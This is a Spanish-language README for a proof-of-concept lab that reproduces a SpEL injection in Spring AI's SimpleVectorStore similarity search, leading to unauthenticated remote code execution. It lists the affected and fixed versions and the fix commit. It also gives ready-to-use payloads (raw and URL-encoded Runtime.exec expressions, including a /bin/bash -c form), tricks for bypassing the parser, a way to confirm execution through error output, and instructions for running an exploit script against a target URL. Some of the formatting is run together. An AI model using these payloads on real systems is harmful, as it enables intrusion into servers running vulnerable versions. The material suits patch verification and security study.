
SpEL Injection a través de la clave de filtro sin escapar en SimpleVectorStore conduce a la ejecución remota de código
| Artifact | Versiones afectadas | Versión corregida |
|---|
| org.springframework.ai:spring-ai-core | 1.0.0 – 1.0.4 | 1.0.5 |
| org.springframework.ai:spring-ai-core | 1.1.0-M1 – 1.1.3 | 1.1.4 |
Nota: Este proyecto utiliza la versión oficial spring-ai-core:1.0.0 para la reproducción de la vulnerabilidad.
Commit de corrección: ba9220b22383e430d5f801ce8e4fa01cf9e75f29
El método SimpleVectorStore.similaritySearch() pasa el nombre de la clave del filtro proporcionado por el usuario directamente a la plantilla SpEL, que se evalúa mediante StandardEvaluationContext. Dado que StandardEvaluationContext expone la API completa de reflexión de JVM, un atacante puede inyectar:
T(java.lang.Runtime).getRuntime().exec(...)
Añadiendo la clave del filtro se consigue la ejecución de comandos del sistema operativo sin autenticación.
Utilice el siguiente payload; tenga en cuenta que es necesario realizar una codificación de URL
"'] + T(java.lang.Runtime).getRuntime().exec('calc') + #metadata['"
%22'%5D%20%2B%20T(java.lang.Runtime).getRuntime().exec('calc')%20%2B%20%23metadata%5B'%22
Pase el payload al parámetro filterKey y la calculadora se abrirá correctamente

El método de inyección simple no funciona directamente: es necesario superar dos peculiaridades del analizador:
Eliminación de comillas simples — Una clave que comienza con comilla simple ' se trata como una cadena entre comillas; las comillas externas se eliminan, rompiendo el payload.
Envoltorio de comillas dobles — Envolver el payload entre comillas dobles "..." hace que el analizador elimine las comillas dobles externas, conservando la expresión SpEL interna como valor de clave pasado al analizador #metadata['<KEY>'].
Clave de metadatos vacía — El uso de #metadata[''] en ambos lados de la expresión inyectada (en lugar de una variable no definida) evita el error de variable desconocida de SpEL, mientras sigue activando exec().
La expresión calculada tiene la siguiente forma:
#metadata[''] + T(java.lang.Runtime).getRuntime().exec(new String[]{'/bin/bash','-c','<cmd>'}) + #metadata[''] == 'x'
El cuerpo de la respuesta HTTP contendrá el error de tiempo de ejecución de SpEL EL1030E:
operator ADD not supported between null and java.lang.ProcessImpl
Este error se produce después de que exec() retorne, confirmando la ejecución del comando a nivel de sistema operativo sin necesidad de una devolución de llamada fuera de banda.
pip install requests)# Construir e iniciar los contenedores
docker compose up -d --build
# Ver los registros
docker compose logs -f
# Instalar dependencias
pip install requests
# Ejecutar la explotación (esperar a que la aplicación se inicie)
python3 exploit.py --wait
# O especificar el objetivo
python3 exploit.py --target http://localhost:8082 --wait
| Indicador | Valor predeterminado | Descripción |
|---|---|---|
--target | http://localhost:8082 | URL base de la aplicación vulnerable |
--wait | Desactivado | Sondea hasta que el objetivo esté listo (útil después de docker compose up) |
Nota: Docker Desktop (macOS/Windows) utiliza host.docker.internal para las devoluciones de llamada; el payload 127.0.0.1 funciona.
El flujo de la prueba de concepto consta de cinco pasos consecutivos:
java.version mediante T(java.lang.System)touch /tmp/pwned_cve_2026_22738 dentro del contenedorid // uname // hostname en /tmp/rce_proof.txtdocker exec├── Dockerfile # Archivo de construcción de Docker
├── docker-compose.yml # Configuración de Docker Compose
├── pom.xml # Configuración del proyecto Maven
├── settings.xml # Configuración de Maven (incluye repositorios de Spring)
├── exploit.py # Script de explotación
└── src/main/java/com/example/spelrce/
├── SpelRceLabApplication.java # Clase principal de Spring Boot
├── VulnController.java # Controlador vulnerable
├── VectorStoreConfig.java # Configuración de VectorStore
└── DummyEmbeddingModel.java # Modelo de Embedding simulado
# Compilar el proyecto
mvn clean package -DskipTests
# Ejecutar la aplicación
java -jar target/spel-rce-lab-1.0.0.jar
# Ejecutar la explotación en otra terminal
python3 exploit.py --target http://localhost:8082